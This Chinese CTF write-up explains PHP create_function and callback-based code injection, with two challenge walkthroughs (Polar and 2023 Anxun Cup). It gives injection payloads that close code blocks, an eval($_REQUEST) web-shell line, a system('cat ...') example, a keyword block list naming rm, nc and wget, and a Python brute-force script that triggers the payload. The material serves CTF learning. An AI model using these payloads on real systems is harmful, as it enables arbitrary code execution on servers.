CTF题型 匿名函数考法例题总结

CTF题型 匿名函数考法&例题总结

文章目录

  • CTF题型 匿名函数考法&例题总结
    • 一 .原理分析
    • 二 .重点匿名函数利用
      • 1.create_function()
        • 如何实现create_function代码注入
      • 2.array_map()
      • 3.call_user_func()
      • 4.call_user_func_array()
      • 5.array_filter()
    • 三.例题讲解
      • 1.[Polar 靶场 某函数的复仇]
        • 扩展(非本题)
      • 2.[2023 安洵杯 what’s my name]

一 .原理分析

匿名函数特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码

二 .重点匿名函数利用

请熟记并理解为后面php代码审计打基础

1.create_function()

image-20240320104058936

创建一个匿名(lambda样式)函数

第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…

注意 实际为 %00lambda_1只不过%00不可见而已

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

可以闭合代码,实现eval执行任意命令

如何实现create_function代码注入

闭合方式不唯一,按实际代码决定

create_function('$name','echo $name."alex"')

等同与创建了一个函数:

function fT($fname) {echo $fname."alex";
}

并返回这个函数名 lambda_1

极其类似sql注入 (使前面闭合,使后面注释)

例如

<?php
$id=$_GET['id'];
$str2='echo  $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

id值可控

原函数:
function fT($a){echo $a."test".$id;
}代码注入后:
function fT($a){echo $a."test";}phpinfo();/*;
}

2.array_map()

array_map — 为数组的每个元素应用回调函数

image-20240320105455991

利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320105756416

3.call_user_func()

call_user_func — 把第一个参数作为回调函数调用

image-20240320110020370

同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组

image-20240320110214845

4.call_user_func_array()

和array_map一模一样 利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320110325072

5.array_filter()

array_filter — 使用回调函数过滤数组的元素

image-20240320110454117

和array_map()对调一下位置 第一个参数为 参数数组,第二个参数为 回调函数

image-20240320110621408

三.例题讲解

1.[Polar 靶场 某函数的复仇]

环境 :https://www.polarctf.com/#/page/challenges

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){$shaw = $_POST['shaw'];$root = $_GET['root'];if(preg_match('/^[a-z_]*$/isD',$shaw)){if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){$shaw('',$root);}else{echo "Almost there^^";}}
}
?>

特征:$shaw('',$root);

方法名可控,第二个参数可控,那么我们考虑create_function();

这里保证$shaw=开头是[a-z_] 结尾是任意字符的字符

直接传 create_function即可

扩展(非本题)

这里提一嘴(经常考) 如果正则匹配 过滤 开头是[a-z_] 结尾是任意字符的字符 不可行 如何绕过?

if(preg_match('/^[a-z_]*$/isD',$shaw) 方法名绕过

通过 命名空间绕过 因为 \create_function()等价于create_function()

什么是命名空间(\)

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

#例
<?php namespace ccc;\eval($_REQUEST['a']);
<?php \system('cat /tmp/flag_XXXX');

接着闭合代码 底层实现{return $root}

我们用 ;}任意代码//闭合

注意这里过滤了 h phpinfo();是被过滤了的

image-20240320115209874

2.[2023 安洵杯 what’s my name]

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){$sorter='strnatcasecmp';$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';@$miao=create_function('$a, $b', $sort_function);}else{echo('Is That My Name?');}
}
else{echo("YOU Do Not Know What is My Name!");
}
?>

@$miao=create_function('$a, $b', $sort_function);匿名函数可以执行命令

闭合根据$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);'; 其中$d0g3可控

原本闭合payload:'"]);}payload//

但是要满足if(preg_match('/^(?:.{5})*include/',$d0g3))

前5个任意字符+include

所以闭合用"]);}include();//将 前面的 ’ 当成字符看了

 $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)

m i a o 为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断name=== m i a o 而且 s t r l e n ( miao而且strlen( miao而且strlen(d0g3==substr($miao))

探究一下返回的匿名函数名称

image-20240320131200836

注意还有两位不可见字符 可以用%00lambda_x绕过强相等image-20240320131302930

"]);}include(phpinfo());//

有26位字符

第26次 到lambda_626时执行命令

可以写个脚本

import requests
url='http://23.94.38.86:9999/?name=%00lambda_26'
params={'d0g3':"\"]);}include(phpinfo());//"
}
i=0
while True:i=i+1response=requests.get(url,params=params)print('+'+str(i))if 'php.net' in response.text:print(response.text)break

注意一点

#在Python的requests库中,当你发送一个请求并尝试传递一个包含%00的字符串时,默认情况下requests库会尝试对这个字符串进行URL编码。这是因为%00是一个URL编码的字符,对应于ASCII的NULL字符
#所以写死name的值

可以返回phpinfo的内容

image-20240320215250956

其他命令同理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/758971.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【WEB3安全基建项目Secwarex】空投指南

GoPlusSecurity是WEB3安全基建项目&#xff0c;3月8日完成400万美元的私募融资&#xff0c;目前总融资已经高达1500万美元&#xff0c;其中包括Binance Labs、Huobi Incubator、Kucoin Ventures、Avalanche等知名机构参投。 1、打开网址&#xff1a;secwarex.io&#xff0c;点…

【考研数学】武忠祥全年各阶段用书搭配

正常来说&#xff0c;你已经跟了武忠祥老师&#xff0c;那武老师的高数辅导讲义和严选题&#xff0c;应该你都有入手了&#xff0c;这个时候你再加一本1800&#xff0c;如何能够保证有充分的时间&#xff0c;将这些习题册做透&#xff0c;将它们的最大作用发挥出来呢&#xff0…

【C++】仿函数优先级队列反向迭代器

目录 一、优先级队列 1、priority_queue 的介绍 2、priority_queue 的使用 3、 priority_queue 的模拟实现 1&#xff09;priority_queue()/priority_queue(first, last) 2&#xff09;push&#xff08;x&#xff09; 3&#xff09;pop&#xff08;&#xff09; 4&#…

Vue+Element-UI Table表格实现复选框单选效果(隐藏表头上的全选Checkbox)

实现效果 完整代码 <div class"box-pos"><el-table ref"table" :header-cell-style"{ color: #FFF, background: #333 }":cell-style"{ color: #FFF, background: #333 }" :data"grListData" style"width: 1…

前端知识点03(JS)

文章目录 前端知识点03&#xff08;JS&#xff09;1、JS中this指向问题2、script中的async和defer的区别3、setTimeOut和setInterval4、Es6和ES5的区别5、ES6的新特性 &#x1f389;写在最后 前端知识点03&#xff08;JS&#xff09; hello hello~ &#xff0c;这里是 code袁~&…

python日常刷题(一)

前言&#xff1a;本文记录2024年3月11日至2024年3月19日牛客网所做的基础题目&#xff08;错题本&#xff09;&#xff1a; &#x1f3ac;个人简介&#xff1a;努力学习ing &#x1f4cb;本专栏&#xff1a;python日常刷题 &#x1f380;CSDN主页&#xff1a;愚润求学 文章目录…

软件的安装与卸载(YUM)

YUM&#xff1a;yum 是一个方便的"应用商店"&#xff0c;你可以通过它轻松地安装、更新和删除软件包&#xff0c;就像从应用商店中下载和安装应用程序一样。&#xff08;这个得用root身份&#xff0c;普通用户权限不够&#xff09; 常用命令&#xff1a; 1.安装软件…

7.安全性基础知识

主要议题&#xff1a; 安全防护体系&#xff1a;7层次&#xff0c;要记7层次的名称以及这些层次与哪些方面相关&#xff1b; 安全保护等级&#xff1a;5等级&#xff0c;要记5等级安全性的高低排序&#xff0c;掌握每个等级的特点&#xff1b; 用户认证机制&#xff1a;用户认…

python网络爬虫实战教学——urllib的使用(2)

文章目录 专栏导读1、前言2、URLError3、HTTPError4、urlparse5、urlunparse 专栏导读 ✍ 作者简介&#xff1a;i阿极&#xff0c;CSDN 数据分析领域优质创作者&#xff0c;专注于分享python数据分析领域知识。 ✍ 本文录入于《python网络爬虫实战教学》&#xff0c;本专栏针对…

第1章 数据管理

思维导图 1.1 引言 从数据中获取的价值不可能凭空产生或依赖于偶然&#xff0c;需要有目标、规划、协作、和保障&#xff0c;也需要管理和领导力。定义&#xff1a; 数据管理是为了交付、控制、保护并提升数据和信息资产的价值&#xff0c;在其整个生命周期中制定计划、制度、…

【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过

目录 前言 原理分析 EXP Hessian2 低版本 直接Runtime命令执行 Hessian2 高版本 利用Unsafe加载恶意字节码二次调用触发初始化 利用TemplatesImpl实例化恶意类 jdk高版本打JNDI 前文&#xff1a;【Web】浅聊Hessian异常toString姿势学习&复现 前言 上篇文章介绍…

mysql笔记:23. 在Mac上安装与卸载MySQL

文章目录 下载MySQL安装包1. 打开MySQL官网&#xff0c;点击DOWNLOADS2. 点击GPL Downloads3. 点击MySQL Community Server打开下载页面4. 选择需要的文件进行下载5. ARM or x86 DMGbrewTAR卸载1. 在系统中卸载2. 在终端中卸载 MySQL对Mac电脑的适配十分强大&#xff0c;再加上…

Oracle with as用法

一、简介 with…as关键字&#xff0c;是以‘with’关键字开头的sql语句&#xff0c;在实际工作中&#xff0c;我们经常会遇到同一个查询sql会同时查询多个相同的结果集&#xff0c;即sql一模一样&#xff0c;这时候我们可以将这些相同的sql抽取出来&#xff0c;使用with…as定…

手拉手整合Springboot3+RocketMQ2.3

RocketMQ 基本概念 消息模型Message Model RocketMQ 主要由 Producer、Broker、Consumer 三部分组成&#xff0c;其中 Producer 负责生产消息&#xff0c;Consumer 负责消费消息&#xff0c;Broker 负责存储消息。Broker 在实际部署过程中对应一台服务器&#xff0c;每个 Bro…

PHP全新美化广告横幅在线制作源码

源码简介 可以做网站的引流不需要安装上传就可以使用&#xff0c;在第一版基础上做了二次开发更加好用 注意&#xff1a;主机和服务器均可架设搭建,如果使用宝塔架设点击访问的时候提示找不到文件路径的时候,记得点击网站目录把防跨站攻击先关闭,这样就可以正常访问了,这款是…

两台电脑简单的通信过程详解(局域网,同网段)

来源&#xff1a; https://www.bilibili.com/video/BV1BA411373b/ 一、原理 描述过程&#xff1a;分别以PC1、PC2、PC2、PC1的角度 二、eNSP测试 1.连接设备 2.查看PC1情况 3.打开抓包后&#xff0c;再ping一下PC2 4.PC1发送ARP报文 broadcast 意思为广播(IP都是f,意为255…

【数字图像处理matlab系列】保存图像

【数字图像处理系列】保存图像imwrite函数 使用函数imwrite可以将图像保存到本地上&#xff0c;该函数的语法为 imwrite(image_data, filename)其中&#xff0c;image_data是要写入的图像数据&#xff0c;可以是一个矩阵或一个三维数组&#xff08;对于彩色图像&#xff09;&…

Java代码基础算法练习-求给定3个数, 进行从小到大排序-2024.03.20

任务描述&#xff1a; 输入三个整数 x,y,z(0<x<1000&#xff0c;0<y<1000&#xff0c;0<z<1000)&#xff0c;请把这三个数由小到大输出。 任务要求&#xff1a; 代码示例&#xff1a; package march0317_0331;import java.util.Scanner;public class m24…

系统设计实例(一)百万级别用户系统

二、百万级别用户系统 原则&#xff1a; 尽可能地缓存数据采用无状态Web层支持多个数据中心在 CDN 中托管静态资源通过分片扩展数据层将层级拆分为独立的服务 负载均衡器 负载均衡器会将传入的流量均匀分配给在负载均衡集合中定义的Web服务器&#xff0c;用户直接连接负载均…

【软件测试】如何设计自动化测试脚本

企业中如何设计自动化测试脚本呢&#xff1f;今天我们就来为大家分享一些干货。 一、线性设计 线性脚本设计方式是以脚本的方式体现测试用例&#xff0c;是一种非结构化的编码方式&#xff0c;多数采用录制回放的方式&#xff0c;测试工程师通过录制回访的访问对被测系统进行…